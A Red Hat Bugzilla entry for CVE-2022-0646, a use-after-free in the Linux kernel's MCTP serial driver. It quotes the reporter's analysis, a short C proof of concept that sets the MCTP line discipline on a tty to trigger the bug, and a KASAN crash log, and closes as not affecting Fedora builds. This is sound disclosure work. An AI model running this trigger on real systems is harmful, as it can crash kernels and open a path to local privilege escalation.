Bug 2055206 (CVE-2022-0646) - CVE-2022-0646 kernel: uaf bug in mctp-serial.c
Summary: CVE-2022-0646 kernel: uaf bug in mctp-serial.c
Keywords:
Status: CLOSED NOTABUG
Alias: CVE-2022-0646
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
medium
medium
Target Milestone: ---
Assignee: Red Hat Product Security
QA Contact:
URL:
Whiteboard:
Depends On: 2055282 2055285 2055286
Blocks: 2055207
TreeView+ depends on / blocked
 
Reported: 2022-02-16 13:24 UTC by Sandipan Roy
Modified: 2022-03-02 21:33 UTC (History)
50 users (show)

Fixed In Version:
Doc Type: If docs needed, set a value
Doc Text:
A use-after-free flaw was found in the Linux kernel’s Management Component Transport Protocol (MCTP) subsystem in the way a user triggers cancel_work_sync after the unregister_netdev during the removal of the device. This flaw allows a local user to crash or escalate their privileges on the system.
Clone Of:
Environment:
Last Closed: 2022-03-02 21:33:08 UTC
Embargoed:


Attachments (Terms of Use)

Description Sandipan Roy 2022-02-16 13:24:36 UTC
Email received from: luolikang

Hi teams,
 I submitted a uaf vulnerability in the linux kernel mctp and it has now
been fixed, can I apply for a cve number.

Patch :
https://lore.kernel.org/all/20220211011552.1861886-1-jk@codeconstruct.com.au
/t/

Here is the original vulnerability I submitted to security@kernel:
```
Hello,
I found an uaf bug in mctp-serial.c 

# Analyse
In the `mctp_serial_open` function, a `ndev` object will be requested, and
`dev` and `ndev` belong to the same kmalloc-4k object, and the `dev` object
is at the end of `ndev` (because dev = netdev_priv(ndev);)

But in the `mctp_serial_close` function
```
static void mctp_serial_close(struct tty_struct *tty) {
	struct mctp_serial *dev = tty->disc_data;
	int idx = dev->idx;

	unregister_netdev(dev->netdev);//[1]
	cancel_work_sync(&dev->tx_work);//[2]
	ida_free(&mctp_serial_ida, idx);
}
```
`ndev` obj will be freed at [1], it means that the kmalloc-4k obj is freed,
but the `dev` object is used at [2].

# poc
```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>

int main(int argc, char **argv)
{
	int fd = open("/dev/tty20", O_RDWR);
	unsigned int arg = 0x1c;
	ioctl(fd, 0x5423, &arg);
}
```

# kasan report

```
[   30.119348]
==================================================================
[   30.123345] BUG: KASAN: use-after-free in try_to_grab_pending+0x6e/0x4e0
[   30.125954] Write of size 8 at addr ffff8881023fe918 by task 7237a/1500
[   30.129218] 
[   30.130209] CPU: 0 PID: 1500 Comm: 7237a Not tainted
5.17.0-rc3-ge6251ab4551f #2
[   30.135598] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
rel-1.14.0-0-g155821a19904
[   30.139760] Call Trace:
[   30.140854]  <TASK>
[   30.141890]  dump_stack_lvl+0x73/0x9e
[   30.143498]  print_address_description+0x81/0x380
[   30.146000]  ? try_to_grab_pending+0x6e/0x4e0
[   30.148143]  __kasan_report+0x157/0x1b0
[   30.149704]  ? try_to_grab_pending+0x6e/0x4e0
[   30.151951]  kasan_report+0x45/0x60
[   30.153271]  kasan_check_range+0x2e2/0x330
[   30.155375]  try_to_grab_pending+0x6e/0x4e0
[   30.157124]  ? netdev_run_todo+0x3a1/0x6b0
[   30.159241]  __cancel_work_timer+0x40/0x280
[   30.161155]  mctp_serial_close+0x40/0x50
[   30.163040]  tty_ldisc_release+0x149/0x2f0
[   30.165326]  tty_release_struct+0xf/0x90
[   30.167546]  tty_release+0x70c/0x7d0
[   30.168533]  __fput+0x1da/0x3b0
[   30.169646]  task_work_run+0xc0/0xe0
[   30.171206]  exit_to_user_mode_prepare+0x112/0x120
[   30.173943]  syscall_exit_to_user_mode+0x20/0x40
[   30.175882]  do_syscall_64+0x52/0x90
[   30.177720]  entry_SYSCALL_64_after_hwframe+0x44/0xae
[   30.180216] RIP: 0033:0x448747
[   30.181363] Code: ff ff f7 d8 64 89 02 48 c7 c0 ff ff ff ff c3 0f 1f 40
00 f3 0f 1e fa 64 8b 04 20
[   30.191370] RSP: 002b:00007ffc8ee06a18 EFLAGS: 00000246 ORIG_RAX:
0000000000000003
[   30.194339] RAX: 0000000000000000 RBX: 0000000000400518 RCX:
0000000000448747
[   30.197243] RDX: 00007ffc8ee06a30 RSI: 0000000000005423 RDI:
0000000000000003
[   30.202541] RBP: 00007ffc8ee06a40 R08: 00000000004981c0 R09:
0000000000000009
[   30.205770] R10: 0000000000000000 R11: 0000000000000246 R12:
0000000000402dc0
[   30.208803] R13: 0000000000000000 R14: 00000000004c0018 R15:
0000000000000000
[   30.212293]  </TASK>
[   30.213383] 
[   30.214170] Allocated by task 1500:
[   30.216181]  __kasan_kmalloc+0xb5/0xe0
[   30.218137]  kvmalloc_node+0x3e/0x80
[   30.219823]  alloc_netdev_mqs+0x5b/0x6a0
[   30.221462]  mctp_serial_open+0xc3/0x240
[   30.223666]  tty_set_ldisc+0x25c/0x880
[   30.225758]  tty_ioctl+0xba0/0xdb0
[   30.227452]  __se_sys_ioctl+0x7f/0xc0
[   30.228975]  do_syscall_64+0x43/0x90
[   30.230736]  entry_SYSCALL_64_after_hwframe+0x44/0xae
[   30.235238] 
[   30.236222] Freed by task 1500:
[   30.237336]  kasan_set_track+0x3d/0x60
[   30.238523]  kasan_set_free_info+0x1f/0x40
[   30.240550]  ____kasan_slab_free+0x119/0x160
[   30.242077]  kfree+0xe2/0x2d0
[   30.243234]  device_release+0x55/0xf0
[   30.244956]  kobject_put+0xf3/0x130
[   30.246322]  netdev_run_todo+0x399/0x6b0
[   30.247559]  unregister_netdev+0x79/0xc0
[   30.248849]  mctp_serial_close+0x34/0x50
[   30.250210]  tty_ldisc_release+0x149/0x2f0
[   30.251633]  tty_release_struct+0xf/0x90
[   30.252922]  tty_release+0x70c/0x7d0
[   30.254202]  __fput+0x1da/0x3b0
[   30.255565]  task_work_run+0xc0/0xe0
[   30.257052]  exit_to_user_mode_prepare+0x112/0x120
[   30.259044]  syscall_exit_to_user_mode+0x20/0x40
[   30.260608]  do_syscall_64+0x52/0x90
[   30.262391]  entry_SYSCALL_64_after_hwframe+0x44/0xae
[   30.266628] 
[   30.267387] The buggy address belongs to the object at ffff8881023fe000
[   30.267387]  which belongs to the cache kmalloc-4k of size 4096
[   30.272577] The buggy address is located 2328 bytes inside of
[   30.272577]  4096-byte region [ffff8881023fe000, ffff8881023ff000)
[   30.277451] The buggy address belongs to the page:
[   30.279417] page:0000000051667f4e refcount:1 mapcount:0
mapping:0000000000000000 index:0x0 pfn:0x8
[   30.282237] head:0000000051667f4e order:3 compound_mapcount:0
compound_pincount:0
[   30.285405] flags: 0x200000000010200(slab|head|node=0|zone=2)
[   30.287789] raw: 0200000000010200 dead000000000100 dead000000000122
ffff888100043040
[   30.291166] raw: 0000000000000000 0000000000040004 00000001ffffffff
0000000000000000
[   30.294493] page dumped because: kasan: bad access detected
[   30.297946] 
[   30.298467] Memory state around the buggy address:
[   30.300386]  ffff8881023fe800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb
fb fb
[   30.304134]  ffff8881023fe880: fb fb fb fb fb fb fb fb fb fb fb fb fb fb
fb fb
[   30.306824] >ffff8881023fe900: fb fb fb fb fb fb fb fb fb fb fb fb fb fb
fb fb
[   30.309980]                             ^
[   30.311646]  ffff8881023fe980: fb fb fb fb fb fb fb fb fb fb fb fb fb fb
fb fb
[   30.314087]  ffff8881023fea00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb
fb fb
[   30.316089]
==================================================================
[   30.318921] Disabling lock debugging due to kernel taint
```

Report by Luo Likang @ NSFOCUS TIANJI Team
```

Comment 2 Alex 2022-02-16 15:13:32 UTC
Created kernel tracking bugs for this issue:

Affects: fedora-all [bug 2055282]

Comment 5 juneau 2022-02-16 16:01:57 UTC
Services notaffected per kernel analysis.

Comment 8 Justin M. Forbes 2022-02-17 21:53:20 UTC
The MCTP_SERIAL driver came in during the 5.17 merge window and was defaulted to off, so it has not been turned on for any Fedora kernel build just yet.

Comment 10 Product Security DevOps Team 2022-03-02 21:33:03 UTC
This bug is now closed. Further updates for individual products will be reflected on the CVE page(s):

https://access.redhat.com/security/cve/cve-2022-0646


Note You need to log in before you can comment on or make changes to this bug.